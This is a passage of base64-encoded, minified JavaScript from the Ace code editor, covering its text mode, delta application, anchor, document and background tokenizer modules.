2lmKHUpcmV0dXJuIHV9fX0sdGhpcy5nZXRLZXl3b3Jkcz1mdW5jdGlvbihlKXtpZighdGhpcy5jb21wbGV0aW9uS2V5d29yZHMpe3ZhciB0PXRoaXMuJHRva2VuaXplci5ydWxlcyxuPVtdO2Zvcih2YXIgciBpbiB0KXt2YXIgaT10W3JdO2Zvcih2YXIgcz0wLG89aS5sZW5ndGg7czxvO3MrKylpZih0eXBlb2YgaVtzXS50b2tlbj09InN0cmluZyIpL2tleXdvcmR8c3VwcG9ydHxzdG9yYWdlLy50ZXN0KGlbc10udG9rZW4pJiZuLnB1c2goaVtzXS5yZWdleCk7ZWxzZSBpZih0eXBlb2YgaVtzXS50b2tlbj09Im9iamVjdCIpZm9yKHZhciB1PTAsYT1pW3NdLnRva2VuLmxlbmd0aDt1PGE7dSsrKWlmKC9rZXl3b3JkfHN1cHBvcnR8c3RvcmFnZS8udGVzdChpW3NdLnRva2VuW3VdKSl7dmFyIHI9aVtzXS5yZWdleC5tYXRjaCgvXCguKz9cKS9nKVt1XTtuLnB1c2goci5zdWJzdHIoMSxyLmxlbmd0aC0yKSl9fXRoaXMuY29tcGxldGlvbktleXdvcmRzPW59cmV0dXJuIGU/bi5jb25jYXQodGhpcy4ka2V5d29yZExpc3R8fFtdKTp0aGlzLiRrZXl3b3JkTGlzdH0sdGhpcy4kY3JlYXRlS2V5d29yZExpc3Q9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy4kaGlnaGxpZ2h0UnVsZXN8fHRoaXMuZ2V0VG9rZW5pemVyKCksdGhpcy4ka2V5d29yZExpc3Q9dGhpcy4kaGlnaGxpZ2h0UnVsZXMuJGtleXdvcmRMaXN0fHxbXX0sdGhpcy5nZXRDb21wbGV0aW9ucz1mdW5jdGlvbihlLHQsbixyKXt2YXIgaT10aGlzLiRrZXl3b3JkTGlzdHx8dGhpcy4kY3JlYXRlS2V5d29yZExpc3QoKTtyZXR1cm4gaS5tYXAoZnVuY3Rpb24oZSl7cmV0dXJue25hbWU6ZSx2YWx1ZTplLHNjb3JlOjAsbWV0YToia2V5d29yZCJ9fSl9LHRoaXMuJGlkPSJhY2UvbW9kZS90ZXh0In0pLmNhbGwoYy5wcm90b3R5cGUpLHQuTW9kZT1jfSksZGVmaW5lKCJhY2UvYXBwbHlfZGVsdGEiLFsicmVxdWlyZSIsImV4cG9ydHMiLCJtb2R1bGUiXSxmdW5jdGlvbihlLHQsbil7InVzZSBzdHJpY3QiO2Z1bmN0aW9uIHIoZSx0KXt0aHJvdyBjb25zb2xlLmxvZygiSW52YWxpZCBEZWx0YToiLGUpLCJJbnZhbGlkIERlbHRhOiAiK3R9ZnVuY3Rpb24gaShlLHQpe3JldHVybiB0LnJvdz49MCYmdC5yb3c8ZS5sZW5ndGgmJnQuY29sdW1uPj0wJiZ0LmNvbHVtbjw9ZVt0LnJvd10ubGVuZ3RofWZ1bmN0aW9uIHMoZSx0KXt0LmFjdGlvbiE9Imluc2VydCImJnQuYWN0aW9uIT0icmVtb3ZlIiYmcih0LCJkZWx0YS5hY3Rpb24gbXVzdCBiZSAnaW5zZXJ0JyBvciAncmVtb3ZlJyIpLHQubGluZXMgaW5zdGFuY2VvZiBBcnJheXx8cih0LCJkZWx0YS5saW5lcyBtdXN0IGJlIGFuIEFycmF5IiksKCF0LnN0YXJ0fHwhdC5lbmQpJiZyKHQsImRlbHRhLnN0YXJ0L2VuZCBtdXN0IGJlIGFuIHByZXNlbnQiKTt2YXIgbj10LnN0YXJ0O2koZSx0LnN0YXJ0KXx8cih0LCJkZWx0YS5zdGFydCBtdXN0IGJlIGNvbnRhaW5lZCBpbiBkb2N1bWVudCIpO3ZhciBzPXQuZW5kO3QuYWN0aW9uPT0icmVtb3ZlIiYmIWkoZSxzKSYmcih0LCJkZWx0YS5lbmQgbXVzdCBjb250YWluZWQgaW4gZG9jdW1lbnQgZm9yICdyZW1vdmUnIGFjdGlvbnMiKTt2YXIgbz1zLnJvdy1uLnJvdyx1PXMuY29sdW1uLShvPT0wP24uY29sdW1uOjApOyhvIT10LmxpbmVzLmxlbmd0aC0xfHx0LmxpbmVzW29dLmxlbmd0aCE9dSkmJnIodCwiZGVsdGEucmFuZ2UgbXVzdCBtYXRjaCBkZWx0YSBsaW5lcyIpfXQuYXBwbHlEZWx0YT1mdW5jdGlvbihlLHQsbil7dmFyIHI9dC5zdGFydC5yb3csaT10LnN0YXJ0LmNvbHVtbixzPWVbcl18fCIiO3N3aXRjaCh0LmFjdGlvbil7Y2FzZSJpbnNlcnQiOnZhciBvPXQubGluZXM7aWYoby5sZW5ndGg9PT0xKWVbcl09cy5zdWJzdHJpbmcoMCxpKSt0LmxpbmVzWzBdK3Muc3Vic3RyaW5nKGkpO2Vsc2V7dmFyIHU9W3IsMV0uY29uY2F0KHQubGluZXMpO2Uuc3BsaWNlLmFwcGx5KGUsdSksZVtyXT1zLnN1YnN0cmluZygwLGkpK2Vbcl0sZVtyK3QubGluZXMubGVuZ3RoLTFdKz1zLnN1YnN0cmluZyhpKX1icmVhaztjYXNlInJlbW92ZSI6dmFyIGE9dC5lbmQuY29sdW1uLGY9dC5lbmQucm93O3I9PT1mP2Vbcl09cy5zdWJzdHJpbmcoMCxpKStzLnN1YnN0cmluZyhhKTplLnNwbGljZShyLGYtcisxLHMuc3Vic3RyaW5nKDAsaSkrZVtmXS5zdWJzdHJpbmcoYSkpfX19KSxkZWZpbmUoImFjZS9hbmNob3IiLFsicmVxdWlyZSIsImV4cG9ydHMiLCJtb2R1bGUiLCJhY2UvbGliL29vcCIsImFjZS9saWIvZXZlbnRfZW1pdHRlciJdLGZ1bmN0aW9uKGUsdCxuKXsidXNlIHN0cmljdCI7dmFyIHI9ZSgiLi9saWIvb29wIiksaT1lKCIuL2xpYi9ldmVudF9lbWl0dGVyIikuRXZlbnRFbWl0dGVyLHM9dC5BbmNob3I9ZnVuY3Rpb24oZSx0LG4pe3RoaXMuJG9uQ2hhbmdlPXRoaXMub25DaGFuZ2UuYmluZCh0aGlzKSx0aGlzLmF0dGFjaChlKSx0eXBlb2Ygbj09InVuZGVmaW5lZCI/dGhpcy5zZXRQb3NpdGlvbih0LnJvdyx0LmNvbHVtbik6dGhpcy5zZXRQb3NpdGlvbih0LG4pfTsoZnVuY3Rpb24oKXtmdW5jdGlvbiBlKGUsdCxuKXt2YXIgcj1uP2UuY29sdW1uPD10LmNvbHVtbjplLmNvbHVtbjx0LmNvbHVtbjtyZXR1cm4gZS5yb3c8dC5yb3d8fGUucm93PT10LnJvdyYmcn1mdW5jdGlvbiB0KHQsbixyKXt2YXIgaT10LmFjdGlvbj09Imluc2VydCIscz0oaT8xOi0xKSoodC5lbmQucm93LXQuc3RhcnQucm93KSxvPShpPzE6LTEpKih0LmVuZC5jb2x1bW4tdC5zdGFydC5jb2x1bW4pLHU9dC5zdGFydCxhPWk/dTp0LmVuZDtyZXR1cm4gZShuLHUscik/e3JvdzpuLnJvdyxjb2x1bW46bi5jb2x1bW59OmUoYSxuLCFyKT97cm93Om4ucm93K3MsY29sdW1uOm4uY29sdW1uKyhuLnJvdz09YS5yb3c/bzowKX06e3Jvdzp1LnJvdyxjb2x1bW46dS5jb2x1bW59fXIuaW1wbGVtZW50KHRoaXMsaSksdGhpcy5nZXRQb3NpdGlvbj1mdW5jdGlvbigpe3JldHVybiB0aGlzLiRjbGlwUG9zaXRpb25Ub0RvY3VtZW50KHRoaXMucm93LHRoaXMuY29sdW1uKX0sdGhpcy5nZXREb2N1bWVudD1mdW5jdGlvbigpe3JldHVybiB0aGlzLmRvY3VtZW50fSx0aGlzLiRpbnNlcnRSaWdodD0hMSx0aGlzLm9uQ2hhbmdlPWZ1bmN0aW9uKGUpe2lmKGUuc3RhcnQucm93PT1lLmVuZC5yb3cmJmUuc3RhcnQucm93IT10aGlzLnJvdylyZXR1cm47aWYoZS5zdGFydC5yb3c+dGhpcy5yb3cpcmV0dXJuO3ZhciBuPXQoZSx7cm93OnRoaXMucm93LGNvbHVtbjp0aGlzLmNvbHVtbn0sdGhpcy4kaW5zZXJ0UmlnaHQpO3RoaXMuc2V0UG9zaXRpb24obi5yb3csbi5jb2x1bW4sITApfSx0aGlzLnNldFBvc2l0aW9uPWZ1bmN0aW9uKGUsdCxuKXt2YXIgcjtuP3I9e3JvdzplLGNvbHVtbjp0fTpyPXRoaXMuJGNsaXBQb3NpdGlvblRvRG9jdW1lbnQoZSx0KTtpZih0aGlzLnJvdz09ci5yb3cmJnRoaXMuY29sdW1uPT1yLmNvbHVtbilyZXR1cm47dmFyIGk9e3Jvdzp0aGlzLnJvdyxjb2x1bW46dGhpcy5jb2x1bW59O3RoaXMucm93PXIucm93LHRoaXMuY29sdW1uPXIuY29sdW1uLHRoaXMuX3NpZ25hbCgiY2hhbmdlIix7b2xkOmksdmFsdWU6cn0pfSx0aGlzLmRldGFjaD1mdW5jdGlvbigpe3RoaXMuZG9jdW1lbnQub2ZmKCJjaGFuZ2UiLHRoaXMuJG9uQ2hhbmdlKX0sdGhpcy5hdHRhY2g9ZnVuY3Rpb24oZSl7dGhpcy5kb2N1bWVudD1lfHx0aGlzLmRvY3VtZW50LHRoaXMuZG9jdW1lbnQub24oImNoYW5nZSIsdGhpcy4kb25DaGFuZ2UpfSx0aGlzLiRjbGlwUG9zaXRpb25Ub0RvY3VtZW50PWZ1bmN0aW9uKGUsdCl7dmFyIG49e307cmV0dXJuIGU+PXRoaXMuZG9jdW1lbnQuZ2V0TGVuZ3RoKCk/KG4ucm93PU1hdGgubWF4KDAsdGhpcy5kb2N1bWVudC5nZXRMZW5ndGgoKS0xKSxuLmNvbHVtbj10aGlzLmRvY3VtZW50LmdldExpbmUobi5yb3cpLmxlbmd0aCk6ZTwwPyhuLnJvdz0wLG4uY29sdW1uPTApOihuLnJvdz1lLG4uY29sdW1uPU1hdGgubWluKHRoaXMuZG9jdW1lbnQuZ2V0TGluZShuLnJvdykubGVuZ3RoLE1hdGgubWF4KDAsdCkpKSx0PDAmJihuLmNvbHVtbj0wKSxufX0pLmNhbGwocy5wcm90b3R5cGUpfSksZGVmaW5lKCJhY2UvZG9jdW1lbnQiLFsicmVxdWlyZSIsImV4cG9ydHMiLCJtb2R1bGUiLCJhY2UvbGliL29vcCIsImFjZS9hcHBseV9kZWx0YSIsImFjZS9saWIvZXZlbnRfZW1pdHRlciIsImFjZS9yYW5nZSIsImFjZS9hbmNob3IiXSxmdW5jdGlvbihlLHQsbil7InVzZSBzdHJpY3QiO3ZhciByPWUoIi4vbGliL29vcCIpLGk9ZSgiLi9hcHBseV9kZWx0YSIpLmFwcGx5RGVsdGEscz1lKCIuL2xpYi9ldmVudF9lbWl0dGVyIikuRXZlbnRFbWl0dGVyLG89ZSgiLi9yYW5nZSIpLlJhbmdlLHU9ZSgiLi9hbmNob3IiKS5BbmNob3IsYT1mdW5jdGlvbihlKXt0aGlzLiRsaW5lcz1bIiJdLGUubGVuZ3RoPT09MD90aGlzLiRsaW5lcz1bIiJdOkFycmF5LmlzQXJyYXkoZSk/dGhpcy5pbnNlcnRNZXJnZWRMaW5lcyh7cm93OjAsY29sdW1uOjB9LGUpOnRoaXMuaW5zZXJ0KHtyb3c6MCxjb2x1bW46MH0sZSl9OyhmdW5jdGlvbigpe3IuaW1wbGVtZW50KHRoaXMscyksdGhpcy5zZXRWYWx1ZT1mdW5jdGlvbihlKXt2YXIgdD10aGlzLmdldExlbmd0aCgpLTE7dGhpcy5yZW1vdmUobmV3IG8oMCwwLHQsdGhpcy5nZXRMaW5lKHQpLmxlbmd0aCkpLHRoaXMuaW5zZXJ0KHtyb3c6MCxjb2x1bW46MH0sZXx8IiIpfSx0aGlzLmdldFZhbHVlPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuZ2V0QWxsTGluZXMoKS5qb2luKHRoaXMuZ2V0TmV3TGluZUNoYXJhY3RlcigpKX0sdGhpcy5jcmVhdGVBbmNob3I9ZnVuY3Rpb24oZSx0KXtyZXR1cm4gbmV3IHUodGhpcyxlLHQpfSwiYWFhIi5zcGxpdCgvYS8pLmxlbmd0aD09PTA/dGhpcy4kc3BsaXQ9ZnVuY3Rpb24oZSl7cmV0dXJuIGUucmVwbGFjZSgvXHJcbnxcci9nLCJcbiIpLnNwbGl0KCJcbiIpfTp0aGlzLiRzcGxpdD1mdW5jdGlvbihlKXtyZXR1cm4gZS5zcGxpdCgvXHJcbnxccnxcbi8pfSx0aGlzLiRkZXRlY3ROZXdMaW5lPWZ1bmN0aW9uKGUpe3ZhciB0PWUubWF0Y2goL14uKj8oXHJcbnxccnxcbikvbSk7dGhpcy4kYXV0b05ld0xpbmU9dD90WzFdOiJcbiIsdGhpcy5fc2lnbmFsKCJjaGFuZ2VOZXdMaW5lTW9kZSIpfSx0aGlzLmdldE5ld0xpbmVDaGFyYWN0ZXI9ZnVuY3Rpb24oKXtzd2l0Y2godGhpcy4kbmV3TGluZU1vZGUpe2Nhc2Uid2luZG93cyI6cmV0dXJuIlxyXG4iO2Nhc2UidW5peCI6cmV0dXJuIlxuIjtkZWZhdWx0OnJldHVybiB0aGlzLiRhdXRvTmV3TGluZXx8IlxuIn19LHRoaXMuJGF1dG9OZXdMaW5lPSIiLHRoaXMuJG5ld0xpbmVNb2RlPSJhdXRvIix0aGlzLnNldE5ld0xpbmVNb2RlPWZ1bmN0aW9uKGUpe2lmKHRoaXMuJG5ld0xpbmVNb2RlPT09ZSlyZXR1cm47dGhpcy4kbmV3TGluZU1vZGU9ZSx0aGlzLl9zaWduYWwoImNoYW5nZU5ld0xpbmVNb2RlIil9LHRoaXMuZ2V0TmV3TGluZU1vZGU9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy4kbmV3TGluZU1vZGV9LHRoaXMuaXNOZXdMaW5lPWZ1bmN0aW9uKGUpe3JldHVybiBlPT0iXHJcbiJ8fGU9PSJcciJ8fGU9PSJcbiJ9LHRoaXMuZ2V0TGluZT1mdW5jdGlvbihlKXtyZXR1cm4gdGhpcy4kbGluZXNbZV18fCIifSx0aGlzLmdldExpbmVzPWZ1bmN0aW9uKGUsdCl7cmV0dXJuIHRoaXMuJGxpbmVzLnNsaWNlKGUsdCsxKX0sdGhpcy5nZXRBbGxMaW5lcz1mdW5jdGlvbigpe3JldHVybiB0aGlzLmdldExpbmVzKDAsdGhpcy5nZXRMZW5ndGgoKSl9LHRoaXMuZ2V0TGVuZ3RoPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuJGxpbmVzLmxlbmd0aH0sdGhpcy5nZXRUZXh0UmFuZ2U9ZnVuY3Rpb24oZSl7cmV0dXJuIHRoaXMuZ2V0TGluZXNGb3JSYW5nZShlKS5qb2luKHRoaXMuZ2V0TmV3TGluZUNoYXJhY3RlcigpKX0sdGhpcy5nZXRMaW5lc0ZvclJhbmdlPWZ1bmN0aW9uKGUpe3ZhciB0O2lmKGUuc3RhcnQucm93PT09ZS5lbmQucm93KXQ9W3RoaXMuZ2V0TGluZShlLnN0YXJ0LnJvdykuc3Vic3RyaW5nKGUuc3RhcnQuY29sdW1uLGUuZW5kLmNvbHVtbildO2Vsc2V7dD10aGlzLmdldExpbmVzKGUuc3RhcnQucm93LGUuZW5kLnJvdyksdFswXT0odFswXXx8IiIpLnN1YnN0cmluZyhlLnN0YXJ0LmNvbHVtbik7dmFyIG49dC5sZW5ndGgtMTtlLmVuZC5yb3ctZS5zdGFydC5yb3c9PW4mJih0W25dPXRbbl0uc3Vic3RyaW5nKDAsZS5lbmQuY29sdW1uKSl9cmV0dXJuIHR9LHRoaXMuaW5zZXJ0TGluZXM9ZnVuY3Rpb24oZSx0KXtyZXR1cm4gY29uc29sZS53YXJuKCJVc2Ugb2YgZG9jdW1lbnQuaW5zZXJ0TGluZXMgaXMgZGVwcmVjYXRlZC4gVXNlIHRoZSBpbnNlcnRGdWxsTGluZXMgbWV0aG9kIGluc3RlYWQuIiksdGhpcy5pbnNlcnRGdWxsTGluZXMoZSx0KX0sdGhpcy5yZW1vdmVMaW5lcz1mdW5jdGlvbihlLHQpe3JldHVybiBjb25zb2xlLndhcm4oIlVzZSBvZiBkb2N1bWVudC5yZW1vdmVMaW5lcyBpcyBkZXByZWNhdGVkLiBVc2UgdGhlIHJlbW92ZUZ1bGxMaW5lcyBtZXRob2QgaW5zdGVhZC4iKSx0aGlzLnJlbW92ZUZ1bGxMaW5lcyhlLHQpfSx0aGlzLmluc2VydE5ld0xpbmU9ZnVuY3Rpb24oZSl7cmV0dXJuIGNvbnNvbGUud2FybigiVXNlIG9mIGRvY3VtZW50Lmluc2VydE5ld0xpbmUgaXMgZGVwcmVjYXRlZC4gVXNlIGluc2VydE1lcmdlZExpbmVzKHBvc2l0aW9uLCBbJycsICcnXSkgaW5zdGVhZC4iKSx0aGlzLmluc2VydE1lcmdlZExpbmVzKGUsWyIiLCIiXSl9LHRoaXMuaW5zZXJ0PWZ1bmN0aW9uKGUsdCl7cmV0dXJuIHRoaXMuZ2V0TGVuZ3RoKCk8PTEmJnRoaXMuJGRldGVjdE5ld0xpbmUodCksdGhpcy5pbnNlcnRNZXJnZWRMaW5lcyhlLHRoaXMuJHNwbGl0KHQpKX0sdGhpcy5pbnNlcnRJbkxpbmU9ZnVuY3Rpb24oZSx0KXt2YXIgbj10aGlzLmNsaXBwZWRQb3MoZS5yb3csZS5jb2x1bW4pLHI9dGhpcy5wb3MoZS5yb3csZS5jb2x1bW4rdC5sZW5ndGgpO3JldHVybiB0aGlzLmFwcGx5RGVsdGEoe3N0YXJ0Om4sZW5kOnIsYWN0aW9uOiJpbnNlcnQiLGxpbmVzOlt0XX0sITApLHRoaXMuY2xvbmVQb3Mocil9LHRoaXMuY2xpcHBlZFBvcz1mdW5jdGlvbihlLHQpe3ZhciBuPXRoaXMuZ2V0TGVuZ3RoKCk7ZT09PXVuZGVmaW5lZD9lPW46ZTwwP2U9MDplPj1uJiYoZT1uLTEsdD11bmRlZmluZWQpO3ZhciByPXRoaXMuZ2V0TGluZShlKTtyZXR1cm4gdD09dW5kZWZpbmVkJiYodD1yLmxlbmd0aCksdD1NYXRoLm1pbihNYXRoLm1heCh0LDApLHIubGVuZ3RoKSx7cm93OmUsY29sdW1uOnR9fSx0aGlzLmNsb25lUG9zPWZ1bmN0aW9uKGUpe3JldHVybntyb3c6ZS5yb3csY29sdW1uOmUuY29sdW1ufX0sdGhpcy5wb3M9ZnVuY3Rpb24oZSx0KXtyZXR1cm57cm93OmUsY29sdW1uOnR9fSx0aGlzLiRjbGlwUG9zaXRpb249ZnVuY3Rpb24oZSl7dmFyIHQ9dGhpcy5nZXRMZW5ndGgoKTtyZXR1cm4gZS5yb3c+PXQ/KGUucm93PU1hdGgubWF4KDAsdC0xKSxlLmNvbHVtbj10aGlzLmdldExpbmUodC0xKS5sZW5ndGgpOihlLnJvdz1NYXRoLm1heCgwLGUucm93KSxlLmNvbHVtbj1NYXRoLm1pbihNYXRoLm1heChlLmNvbHVtbiwwKSx0aGlzLmdldExpbmUoZS5yb3cpLmxlbmd0aCkpLGV9LHRoaXMuaW5zZXJ0RnVsbExpbmVzPWZ1bmN0aW9uKGUsdCl7ZT1NYXRoLm1pbihNYXRoLm1heChlLDApLHRoaXMuZ2V0TGVuZ3RoKCkpO3ZhciBuPTA7ZTx0aGlzLmdldExlbmd0aCgpPyh0PXQuY29uY2F0KFsiIl0pLG49MCk6KHQ9WyIiXS5jb25jYXQodCksZS0tLG49dGhpcy4kbGluZXNbZV0ubGVuZ3RoKSx0aGlzLmluc2VydE1lcmdlZExpbmVzKHtyb3c6ZSxjb2x1bW46bn0sdCl9LHRoaXMuaW5zZXJ0TWVyZ2VkTGluZXM9ZnVuY3Rpb24oZSx0KXt2YXIgbj10aGlzLmNsaXBwZWRQb3MoZS5yb3csZS5jb2x1bW4pLHI9e3JvdzpuLnJvdyt0Lmxlbmd0aC0xLGNvbHVtbjoodC5sZW5ndGg9PTE/bi5jb2x1bW46MCkrdFt0Lmxlbmd0aC0xXS5sZW5ndGh9O3JldHVybiB0aGlzLmFwcGx5RGVsdGEoe3N0YXJ0Om4sZW5kOnIsYWN0aW9uOiJpbnNlcnQiLGxpbmVzOnR9KSx0aGlzLmNsb25lUG9zKHIpfSx0aGlzLnJlbW92ZT1mdW5jdGlvbihlKXt2YXIgdD10aGlzLmNsaXBwZWRQb3MoZS5zdGFydC5yb3csZS5zdGFydC5jb2x1bW4pLG49dGhpcy5jbGlwcGVkUG9zKGUuZW5kLnJvdyxlLmVuZC5jb2x1bW4pO3JldHVybiB0aGlzLmFwcGx5RGVsdGEoe3N0YXJ0OnQsZW5kOm4sYWN0aW9uOiJyZW1vdmUiLGxpbmVzOnRoaXMuZ2V0TGluZXNGb3JSYW5nZSh7c3RhcnQ6dCxlbmQ6bn0pfSksdGhpcy5jbG9uZVBvcyh0KX0sdGhpcy5yZW1vdmVJbkxpbmU9ZnVuY3Rpb24oZSx0LG4pe3ZhciByPXRoaXMuY2xpcHBlZFBvcyhlLHQpLGk9dGhpcy5jbGlwcGVkUG9zKGUsbik7cmV0dXJuIHRoaXMuYXBwbHlEZWx0YSh7c3RhcnQ6cixlbmQ6aSxhY3Rpb246InJlbW92ZSIsbGluZXM6dGhpcy5nZXRMaW5lc0ZvclJhbmdlKHtzdGFydDpyLGVuZDppfSl9LCEwKSx0aGlzLmNsb25lUG9zKHIpfSx0aGlzLnJlbW92ZUZ1bGxMaW5lcz1mdW5jdGlvbihlLHQpe2U9TWF0aC5taW4oTWF0aC5tYXgoMCxlKSx0aGlzLmdldExlbmd0aCgpLTEpLHQ9TWF0aC5taW4oTWF0aC5tYXgoMCx0KSx0aGlzLmdldExlbmd0aCgpLTEpO3ZhciBuPXQ9PXRoaXMuZ2V0TGVuZ3RoKCktMSYmZT4wLHI9dDx0aGlzLmdldExlbmd0aCgpLTEsaT1uP2UtMTplLHM9bj90aGlzLmdldExpbmUoaSkubGVuZ3RoOjAsdT1yP3QrMTp0LGE9cj8wOnRoaXMuZ2V0TGluZSh1KS5sZW5ndGgsZj1uZXcgbyhpLHMsdSxhKSxsPXRoaXMuJGxpbmVzLnNsaWNlKGUsdCsxKTtyZXR1cm4gdGhpcy5hcHBseURlbHRhKHtzdGFydDpmLnN0YXJ0LGVuZDpmLmVuZCxhY3Rpb246InJlbW92ZSIsbGluZXM6dGhpcy5nZXRMaW5lc0ZvclJhbmdlKGYpfSksbH0sdGhpcy5yZW1vdmVOZXdMaW5lPWZ1bmN0aW9uKGUpe2U8dGhpcy5nZXRMZW5ndGgoKS0xJiZlPj0wJiZ0aGlzLmFwcGx5RGVsdGEoe3N0YXJ0OnRoaXMucG9zKGUsdGhpcy5nZXRMaW5lKGUpLmxlbmd0aCksZW5kOnRoaXMucG9zKGUrMSwwKSxhY3Rpb246InJlbW92ZSIsbGluZXM6WyIiLCIiXX0pfSx0aGlzLnJlcGxhY2U9ZnVuY3Rpb24oZSx0KXtlIGluc3RhbmNlb2Ygb3x8KGU9by5mcm9tUG9pbnRzKGUuc3RhcnQsZS5lbmQpKTtpZih0Lmxlbmd0aD09PTAmJmUuaXNFbXB0eSgpKXJldHVybiBlLnN0YXJ0O2lmKHQ9PXRoaXMuZ2V0VGV4dFJhbmdlKGUpKXJldHVybiBlLmVuZDt0aGlzLnJlbW92ZShlKTt2YXIgbjtyZXR1cm4gdD9uPXRoaXMuaW5zZXJ0KGUuc3RhcnQsdCk6bj1lLnN0YXJ0LG59LHRoaXMuYXBwbHlEZWx0YXM9ZnVuY3Rpb24oZSl7Zm9yKHZhciB0PTA7dDxlLmxlbmd0aDt0KyspdGhpcy5hcHBseURlbHRhKGVbdF0pfSx0aGlzLnJldmVydERlbHRhcz1mdW5jdGlvbihlKXtmb3IodmFyIHQ9ZS5sZW5ndGgtMTt0Pj0wO3QtLSl0aGlzLnJldmVydERlbHRhKGVbdF0pfSx0aGlzLmFwcGx5RGVsdGE9ZnVuY3Rpb24oZSx0KXt2YXIgbj1lLmFjdGlvbj09Imluc2VydCI7aWYobj9lLmxpbmVzLmxlbmd0aDw9MSYmIWUubGluZXNbMF06IW8uY29tcGFyZVBvaW50cyhlLnN0YXJ0LGUuZW5kKSlyZXR1cm47biYmZS5saW5lcy5sZW5ndGg+MmU0P3RoaXMuJHNwbGl0QW5kYXBwbHlMYXJnZURlbHRhKGUsMmU0KTooaSh0aGlzLiRsaW5lcyxlLHQpLHRoaXMuX3NpZ25hbCgiY2hhbmdlIixlKSl9LHRoaXMuJHNhZmVBcHBseURlbHRhPWZ1bmN0aW9uKGUpe3ZhciB0PXRoaXMuJGxpbmVzLmxlbmd0aDsoZS5hY3Rpb249PSJyZW1vdmUiJiZlLnN0YXJ0LnJvdzx0JiZlLmVuZC5yb3c8dHx8ZS5hY3Rpb249PSJpbnNlcnQiJiZlLnN0YXJ0LnJvdzw9dCkmJnRoaXMuYXBwbHlEZWx0YShlKX0sdGhpcy4kc3BsaXRBbmRhcHBseUxhcmdlRGVsdGE9ZnVuY3Rpb24oZSx0KXt2YXIgbj1lLmxpbmVzLHI9bi5sZW5ndGgtdCsxLGk9ZS5zdGFydC5yb3cscz1lLnN0YXJ0LmNvbHVtbjtmb3IodmFyIG89MCx1PTA7bzxyO289dSl7dSs9dC0xO3ZhciBhPW4uc2xpY2Uobyx1KTthLnB1c2goIiIpLHRoaXMuYXBwbHlEZWx0YSh7c3RhcnQ6dGhpcy5wb3MoaStvLHMpLGVuZDp0aGlzLnBvcyhpK3Uscz0wKSxhY3Rpb246ZS5hY3Rpb24sbGluZXM6YX0sITApfWUubGluZXM9bi5zbGljZShvKSxlLnN0YXJ0LnJvdz1pK28sZS5zdGFydC5jb2x1bW49cyx0aGlzLmFwcGx5RGVsdGEoZSwhMCl9LHRoaXMucmV2ZXJ0RGVsdGE9ZnVuY3Rpb24oZSl7dGhpcy4kc2FmZUFwcGx5RGVsdGEoe3N0YXJ0OnRoaXMuY2xvbmVQb3MoZS5zdGFydCksZW5kOnRoaXMuY2xvbmVQb3MoZS5lbmQpLGFjdGlvbjplLmFjdGlvbj09Imluc2VydCI/InJlbW92ZSI6Imluc2VydCIsbGluZXM6ZS5saW5lcy5zbGljZSgpfSl9LHRoaXMuaW5kZXhUb1Bvc2l0aW9uPWZ1bmN0aW9uKGUsdCl7dmFyIG49dGhpcy4kbGluZXN8fHRoaXMuZ2V0QWxsTGluZXMoKSxyPXRoaXMuZ2V0TmV3TGluZUNoYXJhY3RlcigpLmxlbmd0aDtmb3IodmFyIGk9dHx8MCxzPW4ubGVuZ3RoO2k8cztpKyspe2UtPW5baV0ubGVuZ3RoK3I7aWYoZTwwKXJldHVybntyb3c6aSxjb2x1bW46ZStuW2ldLmxlbmd0aCtyfX1yZXR1cm57cm93OnMtMSxjb2x1bW46ZStuW3MtMV0ubGVuZ3RoK3J9fSx0aGlzLnBvc2l0aW9uVG9JbmRleD1mdW5jdGlvbihlLHQpe3ZhciBuPXRoaXMuJGxpbmVzfHx0aGlzLmdldEFsbExpbmVzKCkscj10aGlzLmdldE5ld0xpbmVDaGFyYWN0ZXIoKS5sZW5ndGgsaT0wLHM9TWF0aC5taW4oZS5yb3csbi5sZW5ndGgpO2Zvcih2YXIgbz10fHwwO288czsrK28paSs9bltvXS5sZW5ndGgrcjtyZXR1cm4gaStlLmNvbHVtbn19KS5jYWxsKGEucHJvdG90eXBlKSx0LkRvY3VtZW50PWF9KSxkZWZpbmUoImFjZS9iYWNrZ3JvdW5kX3Rva2VuaXplciIsWyJyZXF1aXJlIiwiZXhwb3J0cyIsIm1vZHVsZSIsImFjZS9saWIvb29wIiwiYWNlL2xpYi9ldmVudF9lbWl0dGVyIl0sZnVuY3Rpb24oZSx0LG4peyJ1c2Ugc3RyaWN0Ijt2YXIgcj1lKCIuL2xpYi9vb3AiKSxpPWUoIi4vbGliL2V2ZW50X2VtaXR0ZXIiKS5FdmVudEVtaXR0ZXIscz1mdW5jdGlvbihlLHQpe3RoaXMucnVubmluZz0hMSx0aGlzLmxpbmVzPVtdLHRoaXMuc3RhdGVzPVtdLHRoaXMuY3VycmVudExpbmU9MCx0aGlzLnRva2VuaXplcj1lO3ZhciBuPXRoaXM7dGhpcy4kd29ya2VyPWZ1bmN0aW9uKCl7aWYoIW4ucnVubmluZylyZXR1cm47dmFyIGU9bmV3IERhdGUsdD1uLmN1cnJlbnRMaW5lLHI9LTEsaT1uLmRvYyxzPXQ7d2hpbGUobi5saW5lc1t0XSl0Kys7dmFyIG89aS5nZXRMZW5ndGgoKSx1PTA7bi5ydW5uaW5nPSExO3doaWxlKHQ8byl7bi4kdG9rZW5pemVSb3codCkscj10O2RvIHQrKzt3aGlsZShuLmxpbmVzW3RdKTt1Kys7aWYodSU1PT09MCYmbmV3IERhdGUtZT4yMCl7bi5ydW5uaW5nPXNldFRpbWVvdXQobi4kd29ya2VyLDIwKTticmVha319bi5jdXJyZW50TGluZT10LHI9PS0xJiYocj10KSxzPD1yJiZuLmZpcmVVcGRhdGVFdmVudChzLHIpfX07KGZ1bmN0aW9uKCl7ci5pbXBsZW1lbnQodGhpcyxpKSx0aGlzLnNldFRva2VuaXplcj1mdW5jdGlvbihlKXt0aGlzLnRva2VuaXplcj1lLHRoaXMubGluZXM9W10sdGhpcy5zdGF0ZXM9W10sdGhpcy5zdGFydCgwKX0sdGhpcy5zZXREb2N1bWVudD1mdW5jdGlvbihlKXt0aGlzLmRvYz1lLHRoaXMubGluZXM9W10sdGhpcy5zdGF0ZXM9W10sdGhpcy5zdG9wKCl9LHRoaXMuZmlyZVVwZGF0ZUV2ZW50PWZ1bmN0aW9uKGUsdCl7dmFyIG49e2ZpcnN0OmUsbGFzdDp0fTt0aGlzLl9zaWduYWwoInVwZGF